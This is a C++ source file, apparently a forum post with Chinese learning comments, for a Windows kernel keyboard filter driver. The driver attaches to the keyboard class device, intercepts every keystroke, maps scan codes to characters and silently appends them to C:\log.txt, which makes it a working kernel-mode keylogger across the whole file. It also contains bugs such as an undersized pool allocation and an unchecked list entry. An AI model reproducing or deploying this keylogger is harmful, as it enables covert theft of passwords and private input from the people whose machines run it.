[C++] 纯文本查看 复制代码
#include<ntddk.h>
#include<wdm.h>
#include<ntddkbd.h>
static int REQUESTS = 0;//未处理IRP查询
//声明枚举
enum {
INVALID = 0x00,
ENTER = 0x01,
LSHIFT = 0x02,
RSHIFT = 0x03,
SPACE = ' ',
BACKSPACE = '¬',
TAB = ' '
};
char lowerKeys[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
BACKSPACE, //E
TAB, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
INVALID, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'\'', //28
'`', //29
LSHIFT, //2A
'\\', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
INVALID, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
char upperKeys[84] = {
INVALID, //0
INVALID, //1
'!', //2
'@', //3
'#', //4
'$', //5
'%', //6
'^', //7
'&', //8
'*', //9
'(', //A
')', //B
'_', //C
'+', //D
BACKSPACE, //E
TAB, //F
'Q', //10
'W', //11
'E', //12
'R', //13
'T', //14
'Y', //15
'U', //16
'I', //17
'O', //18
'P', //19
'{', //1A
'}', //1B
ENTER, //1C
INVALID, //1D
'A', //1E
'S', //1F
'D', //20
'F', //21
'G', //22
'H', //23
'J', //24
'K', //25
'L', //26
':', //27
'"', //28
'~', //29
LSHIFT, //2A
'|', //2B
'Z', //2C
'X', //2D
'C', //2E
'V', //2F
'B', //30
'N', //31
'M' , //32
'<', //33
'>', //34
'?', //35
RSHIFT, //36
INVALID, //37
INVALID, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pKeyBoardDevice;
PETHREAD pThreadObj;
BOOLEAN Shift;
BOOLEAN bClosedThread;
HANDLE hLog;
KSEMAPHORE SemaPhore;
KSPIN_LOCK SpinLock;
LIST_ENTRY ListHead;//定义双向链表
}DEVICE_EXTENSION, * PDEVICE_EXTENSION;
typedef struct _KEYDATA
{
LIST_ENTRY ListaNode;//这里我们定义链表 是为了在后续将获取到的信息写入记事本
char KeyData;
char KeyFlags;
}KEYDAA,*PKEYDATA;//源码写的是结构体但是我这里是用结构体指针 假如等下报错 那么在改回来
NTSTATUS DispatchSkip(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)
{
//这里我们直接穿法irp包并不去修改它
IoSkipCurrentIrpStackLocation(pIrp);
//等下试试修改这里 感觉不用这么些也是可以的
return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyBoardDevice, pIrp);
}
NTSTATUS ReadCompleted(PDEVICE_OBJECT pDeviceObejct, PIRP pIrp, PVOID ConText)
{
//获取当前设备对象给我们自定义的设备对象
ULONG i = 0;
PDEVICE_EXTENSION pDeviceExtensiong = (PDEVICE_EXTENSION)pDeviceObejct->DeviceExtension;
if (pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA Keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
int nKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
for (i = 0; i < nKeys; i++)
{
KdPrint(("ScanCode:%x", Keys[i].MakeCode));
if (Keys[i].Flags == KEY_BREAK)
KdPrint(("Key_Up"));
if (Keys[i].Flags == KEY_MAKE)
KdPrint(("Key_Down"));
//源码这里转化为结构体指针 但是我这里本身在定义结构体得时候就是结构体指针所以 没有加星号 假如出问题等下修改这里
PKEYDATA KData = (PKEYDATA)ExAllocatePool(NonPagedPool, sizeof(PKEYDATA));
KData->KeyData = Keys[i].MakeCode;
KData->KeyFlags = Keys[i].Flags;//如果等下出问题 那么我们把整个键盘结构体该回去
ExInterlockedInsertTailList(&pDeviceExtensiong->ListHead, &KData->ListaNode, &pDeviceExtensiong->SpinLock);
KeReleaseSemaphore(&pDeviceExtensiong->SemaPhore, 0, 1, FALSE);
}
}
if (pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
--REQUESTS;
return pIrp->IoStatus.Status;
}
NTSTATUS DispatchRead(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
KdPrint(("IN DispatchRead"));
//复制当前得IRP包 到下一个堆栈
IoCopyCurrentIrpStackLocationToNext(pIrp);
IoSetCompletionRoutine(pIrp, ReadCompleted, pDeviceObject, TRUE, TRUE, TRUE);
++REQUESTS;
KdPrint(("REQUESTS被读取得次数=%d",REQUESTS));//这调代码增加得时间是16:25之前运行一切正常
return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyBoardDevice, pIrp);
}
NTSTATUS InitializeKeyboardFilter(PDRIVER_OBJECT pDriverObject)
{
KdPrint(("IN InitializeKeyboardFilter"));
NTSTATUS nStatus = 0;
PDEVICE_OBJECT pDeviceObject;
nStatus = IoCreateDevice(pDriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, TRUE, &pDeviceObject);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("设备创建失败"));
return nStatus;
}
//拷贝标志位
pDeviceObject->Flags |= (DO_BUFFERED_IO | DO_BUFFERED_IO);
pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
//内存清零,指定清零得内存大小
RtlZeroMemory(pDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
CCHAR cName[40] = "\\Device\\KeyboardClass0";
STRING strName;
UNICODE_STRING ustrDeviceName;
RtlInitAnsiString(&strName, cName);
RtlAnsiStringToUnicodeString(&ustrDeviceName, &strName, TRUE);
//挂载设备
IoAttachDevice(pDeviceObject, &ustrDeviceName, &pDeviceExtension->pKeyBoardDevice);
//其实这里应该有个判断得 此处不严谨
RtlFreeUnicodeString(&ustrDeviceName);
KdPrint(("键盘过滤安装"));
return nStatus;
}
char* Scancode2Key(PDEVICE_EXTENSION pDeviceExtension, PKEYDATA kData, char* keys)
{
char key;
key = lowerKeys[kData->KeyData];
switch (key)
{
case LSHIFT:
if (kData->KeyFlags == KEY_MAKE)
pDeviceExtension->Shift = TRUE;
else
{
pDeviceExtension->Shift = FALSE;
break;
}
case RSHIFT:
if (kData->KeyFlags == KEY_MAKE)
pDeviceExtension->Shift = TRUE;
else
{
pDeviceExtension->Shift = FALSE;
}
break;
case ENTER:
if (kData->KeyFlags == KEY_MAKE)
{
keys[0] = 0x0D;
keys[1] = 0xAD;
}
break;
default:
if (kData->KeyFlags == KEY_MAKE)
{
if (pDeviceExtension->Shift == TRUE)
{
keys[0] = upperKeys[kData->KeyData];
}
else
{
keys[0] = lowerKeys[kData->KeyData];
}
}
}
return keys;
}
VOID ThreadForWriting(PVOID pContext)
{
PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pContext;
PLIST_ENTRY pListEntry;
PKEYDATA kData;//这里得源码是指针但是我由于定义得是结构体指针假如等下有错再改回来
while (TRUE)
{
KeWaitForSingleObject(&pDeviceExtension->SemaPhore, Executive, KernelMode, FALSE, NULL);
pListEntry = ExInterlockedRemoveHeadList(&pDeviceExtension->ListHead, &pDeviceExtension->SpinLock);
if (pDeviceExtension->bClosedThread == TRUE)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
kData = CONTAINING_RECORD(pListEntry, KEYDAA, ListaNode);
char Keys[3] = { 0 };
Scancode2Key(pDeviceExtension, kData, Keys);
if ((Keys != 0) && (pDeviceExtension->hLog != NULL))
{
LARGE_INTEGER Offset;
Offset.HighPart = -1;
Offset.LowPart = FILE_WRITE_TO_END_OF_FILE;
IO_STATUS_BLOCK IoStatus;
NTSTATUS nStatus;
nStatus = ZwWriteFile(pDeviceExtension->hLog, NULL, NULL, NULL, &IoStatus, &Keys, strlen(Keys), &Offset,NULL);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("Writing scancode failed"));
}
}
}
return;
}
NTSTATUS InitializeThread(PDRIVER_OBJECT pDriverObject)
{
//PDEVICE_EXTENSION pDeviceExztension = (PDEVICE_EXTENSION)pDriverObject->DriverExtension;//很有可能是这里出了问题
PDEVICE_EXTENSION pDeviceExztension = pDriverObject->DeviceObject->DeviceExtension;//这是一个很奇怪的问题修改这里之后解决
NTSTATUS nStatus;
pDeviceExztension->bClosedThread = NULL;
HANDLE hThread;
nStatus = PsCreateSystemThread(&hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadForWriting, pDeviceExztension);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("Thread initializing erro"));
return nStatus;
}
//例程提供对象句柄得访问验证,如果可以授权访问则返回对象主体得相应指针
nStatus=ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pDeviceExztension->pThreadObj,NULL);
if (nStatus != STATUS_SUCCESS)
{
KdPrint(("获取对象句柄权限失败"));
}
ZwClose(hThread);
KdPrint(("Thread initialized"));
return nStatus;
}
NTSTATUS CreateListAndFile(PDRIVER_OBJECT pDriverObject)
{
NTSTATUS nStatus;
PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pDeviceExtension->ListHead);
KeInitializeSpinLock(&pDeviceExtension->SpinLock);//其实之前我们所做的自旋锁都是为了这一步做准备得
KeInitializeSemaphore(&pDeviceExtension->SemaPhore, 0, MAXLONG);
IO_STATUS_BLOCK FileStatus;
OBJECT_ATTRIBUTES ObjectAttributes;
CCHAR cName[64]= "\\DosDevices\\C:\\log.txt";
STRING strName;
UNICODE_STRING ustrFileName;
RtlInitAnsiString(&strName, cName);
RtlAnsiStringToUnicodeString(&ustrFileName,&strName,TRUE);
InitializeObjectAttributes(&ObjectAttributes, &ustrFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
nStatus = ZwCreateFile(&pDeviceExtension->hLog, GENERIC_WRITE, &ObjectAttributes, &FileStatus, NULL, FILE_ATTRIBUTE_NORMAL,0, FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_ALERT, NULL, 0);
RtlFreeUnicodeString(&ustrFileName);
if (nStatus == STATUS_SUCCESS)
{
KdPrint(("File was successfully created\n"));
}
else
{
KdPrint(("File Create error\n"));
}
return nStatus;
}
void Unload(PDRIVER_OBJECT pDriverObject)
{
KdPrint(("IN Un Driver"));
PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
IoDetachDevice(pDeviceExtension->pKeyBoardDevice);
KTIMER Timer;
LARGE_INTEGER TimerOut;
TimerOut.QuadPart = 1000000;
KeInitializeTimer(&Timer);
while (REQUESTS>0)
{
KeSetTimer(&Timer, TimerOut, NULL);
KeWaitForSingleObject(&Timer, Executive, KernelMode, FALSE, NULL);
}
pDeviceExtension->bClosedThread = TRUE;
KeReleaseSemaphore(&pDeviceExtension->SemaPhore,0,1,TRUE);
KeWaitForSingleObject(pDeviceExtension->pThreadObj, Executive, KernelMode, FALSE, NULL);
ZwClose(pDeviceExtension->hLog);
IoDeleteDevice(pDriverObject->DeviceObject);
return;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriveObject, PUNICODE_STRING Regpath)
{
KdPrint(("IN Driver"));
NTSTATUS nStatus = STATUS_SUCCESS;
ULONG i = 0;
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
pDriveObject->MajorFunction[i] = DispatchSkip;
}
pDriveObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
nStatus = InitializeKeyboardFilter(pDriveObject);
//开启线程
nStatus |= InitializeThread(pDriveObject);
nStatus |= CreateListAndFile(pDriveObject);
pDriveObject->DriverUnload = Unload;
return nStatus;
}